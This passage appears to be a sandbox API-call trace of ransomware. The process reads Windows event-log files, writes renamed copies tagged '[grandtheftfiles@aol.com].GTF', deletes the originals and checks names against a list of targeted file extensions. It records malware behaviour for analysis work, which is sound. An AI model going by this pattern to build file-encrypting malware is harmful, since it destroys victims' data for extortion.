	[0077.992] WriteFile (in: hFile=0x368, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x134, lpOverlapped=0x0) returned 1
	[0077.992] SetEndOfFile (hFile=0x368) returned 1
	[0077.992] CloseHandle (hObject=0x368) returned 1
	[0077.994] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.994] SetEndOfFile (hFile=0x310) returned 1
	[0077.996] CloseHandle (hObject=0x310) returned 1
	[0077.996] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0077.996] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 1
	[0077.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0077.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0077.996] lstrlenW (lpString=".doc") returned 4
	[0077.996] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.996] lstrlenW (lpString=".docx") returned 5
	[0077.996] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.996] lstrlenW (lpString=".pdf") returned 4
	[0077.996] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.996] lstrlenW (lpString=".xls") returned 4
	[0077.996] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.996] lstrlenW (lpString=".xlsx") returned 5
	[0077.996] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.996] lstrlenW (lpString=".ppt") returned 4
	[0077.996] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0077.997] lstrlenW (lpString=".zip") returned 4
	[0077.997] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString=".rar") returned 4
	[0077.997] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString=".bz2") returned 4
	[0077.997] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString=".7z") returned 3
	[0077.997] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0077.997] lstrlenW (lpString=".dbf") returned 4
	[0077.997] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0077.997] lstrlenW (lpString=".1cd") returned 4
	[0077.997] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0077.997] lstrlenW (lpString=".jpg") returned 4
	[0077.997] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0077.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0077.997] lstrlenW (lpString=".doc") returned 4
	[0077.997] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString=".docx") returned 5
	[0077.997] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0077.997] lstrlenW (lpString=".pdf") returned 4
	[0077.997] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString=".xls") returned 4
	[0077.997] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString=".xlsx") returned 5
	[0077.997] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0077.997] lstrlenW (lpString=".ppt") returned 4
	[0077.997] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0077.997] lstrlenW (lpString=".zip") returned 4
	[0077.997] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0077.997] lstrlenW (lpString=".rar") returned 4
	[0077.997] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0077.998] lstrlenW (lpString=".bz2") returned 4
	[0077.998] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0077.998] lstrlenW (lpString=".7z") returned 3
	[0077.998] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0077.998] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0077.998] lstrlenW (lpString=".dbf") returned 4
	[0077.998] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0077.998] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0077.998] lstrlenW (lpString=".1cd") returned 4
	[0077.998] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0077.998] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx") returned 56
	[0077.998] lstrlenW (lpString=".jpg") returned 4
	[0077.998] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0077.998] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0077.998] lstrlenW (lpString="Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 54
	[0077.998] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0077.998] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0077.998] CloseHandle (hObject=0x310) returned 1
	[0077.998] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 0x20
	[0077.998] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.998] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0077.999] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.999] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.999] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0077.999] GetLastError () returned 0x0
	[0077.999] ReadFile (in: hFile=0x310, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.015] WriteFile (in: hFile=0x368, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.017] ReadFile (in: hFile=0x310, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.017] WriteFile (in: hFile=0x368, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x140, lpOverlapped=0x0) returned 1
	[0078.017] SetEndOfFile (hFile=0x368) returned 1
	[0078.017] CloseHandle (hObject=0x368) returned 1
	[0078.056] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.057] SetEndOfFile (hFile=0x310) returned 1
	[0078.058] CloseHandle (hObject=0x310) returned 1
	[0078.058] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0078.058] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx")) returned 1
	[0078.058] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0078.058] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0078.058] lstrlenW (lpString=".doc") returned 4
	[0078.058] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.058] lstrlenW (lpString=".docx") returned 5
	[0078.058] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.058] lstrlenW (lpString=".pdf") returned 4
	[0078.058] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.059] lstrlenW (lpString=".xls") returned 4
	[0078.059] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.059] lstrlenW (lpString=".xlsx") returned 5
	[0078.059] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.059] lstrlenW (lpString=".ppt") returned 4
	[0078.059] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0078.059] lstrlenW (lpString=".zip") returned 4
	[0078.059] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.059] lstrlenW (lpString=".rar") returned 4
	[0078.059] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.059] lstrlenW (lpString=".bz2") returned 4
	[0078.059] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.059] lstrlenW (lpString=".7z") returned 3
	[0078.059] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0078.059] lstrlenW (lpString=".dbf") returned 4
	[0078.059] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0078.059] lstrlenW (lpString=".1cd") returned 4
	[0078.059] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0078.059] lstrlenW (lpString=".jpg") returned 4
	[0078.059] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0078.059] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0078.059] lstrlenW (lpString=".doc") returned 4
	[0078.059] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.059] lstrlenW (lpString=".docx") returned 5
	[0078.059] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.059] lstrlenW (lpString=".pdf") returned 4
	[0078.059] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.059] lstrlenW (lpString=".xls") returned 4
	[0078.059] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.059] lstrlenW (lpString=".xlsx") returned 5
	[0078.059] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.059] lstrlenW (lpString=".ppt") returned 4
	[0078.060] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0078.060] lstrlenW (lpString=".zip") returned 4
	[0078.060] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.060] lstrlenW (lpString=".rar") returned 4
	[0078.060] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.060] lstrlenW (lpString=".bz2") returned 4
	[0078.060] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.060] lstrlenW (lpString=".7z") returned 3
	[0078.060] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0078.060] lstrlenW (lpString=".dbf") returned 4
	[0078.060] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0078.060] lstrlenW (lpString=".1cd") returned 4
	[0078.060] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.060] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx") returned 62
	[0078.060] lstrlenW (lpString=".jpg") returned 4
	[0078.060] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.060] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0078.060] lstrlenW (lpString="Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 41
	[0078.060] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0078.060] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0078.060] CloseHandle (hObject=0x310) returned 1
	[0078.061] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 0x20
	[0078.061] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.061] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0078.061] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.061] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.061] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0078.061] GetLastError () returned 0x0
	[0078.061] ReadFile (in: hFile=0x310, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.066] WriteFile (in: hFile=0x38c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.068] ReadFile (in: hFile=0x310, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.068] WriteFile (in: hFile=0x38c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x126, lpOverlapped=0x0) returned 1
	[0078.068] SetEndOfFile (hFile=0x38c) returned 1
	[0078.069] CloseHandle (hObject=0x38c) returned 1
	[0078.071] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.071] SetEndOfFile (hFile=0x310) returned 1
	[0078.072] CloseHandle (hObject=0x310) returned 1
	[0078.072] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0078.072] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx")) returned 1
	[0078.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0078.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0078.073] lstrlenW (lpString=".doc") returned 4
	[0078.073] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.073] lstrlenW (lpString=".docx") returned 5
	[0078.073] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.073] lstrlenW (lpString=".pdf") returned 4
	[0078.073] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.073] lstrlenW (lpString=".xls") returned 4
	[0078.073] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.073] lstrlenW (lpString=".xlsx") returned 5
	[0078.073] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.073] lstrlenW (lpString=".ppt") returned 4
	[0078.073] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0078.073] lstrlenW (lpString=".zip") returned 4
	[0078.073] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.073] lstrlenW (lpString=".rar") returned 4
	[0078.073] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.073] lstrlenW (lpString=".bz2") returned 4
	[0078.073] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.073] lstrlenW (lpString=".7z") returned 3
	[0078.073] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0078.073] lstrlenW (lpString=".dbf") returned 4
	[0078.073] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0078.073] lstrlenW (lpString=".1cd") returned 4
	[0078.073] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.073] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0078.073] lstrlenW (lpString=".jpg") returned 4
	[0078.073] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0078.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0078.074] lstrlenW (lpString=".doc") returned 4
	[0078.074] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0078.074] lstrlenW (lpString=".docx") returned 5
	[0078.074] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0078.074] lstrlenW (lpString=".pdf") returned 4
	[0078.074] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0078.074] lstrlenW (lpString=".xls") returned 4
	[0078.074] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0078.074] lstrlenW (lpString=".xlsx") returned 5
	[0078.074] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0078.074] lstrlenW (lpString=".ppt") returned 4
	[0078.074] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0078.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0078.074] lstrlenW (lpString=".zip") returned 4
	[0078.074] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0078.074] lstrlenW (lpString=".rar") returned 4
	[0078.074] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0078.074] lstrlenW (lpString=".bz2") returned 4
	[0078.074] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0078.074] lstrlenW (lpString=".7z") returned 3
	[0078.074] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0078.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0078.074] lstrlenW (lpString=".dbf") returned 4
	[0078.074] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0078.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0078.074] lstrlenW (lpString=".1cd") returned 4
	[0078.074] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0078.074] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx") returned 49
	[0078.074] lstrlenW (lpString=".jpg") returned 4
	[0078.074] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0078.074] lstrcmpiW (lpString1=".evtx", lpString2=".GTF") returned -1
	[0078.075] lstrlenW (lpString="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 43
	[0078.075] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0078.075] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x38dff14 | out: lpFileSize=0x38dff14*=69632) returned 1
	[0078.075] CloseHandle (hObject=0x310) returned 1
	[0078.075] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 0x20
	[0078.075] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0078.075] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0078.075] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.075] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.075] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0078.075] GetLastError () returned 0x0
	[0078.075] ReadFile (in: hFile=0x310, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0078.082] WriteFile (in: hFile=0x38c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0078.084] ReadFile (in: hFile=0x310, lpBuffer=0x3d56020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesRead=0x38dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.084] WriteFile (in: hFile=0x38c, lpBuffer=0x3d56020*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x38dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3d56020*, lpNumberOfBytesWritten=0x38dfc94*=0x12a, lpOverlapped=0x0) returned 1
	[0078.084] SetEndOfFile (hFile=0x38c) returned 1
	[0078.084] CloseHandle (hObject=0x38c) returned 1
	[0078.087] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.087] SetEndOfFile (hFile=0x310) returned 1
	[0078.088] CloseHandle (hObject=0x310) returned 1
	[0078.088] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0078.088] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-dhcpv6-client%4admin.evtx")) returned 1
	[0078.088] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Dhcpv6-Client%4Admin.evtx") returned 51
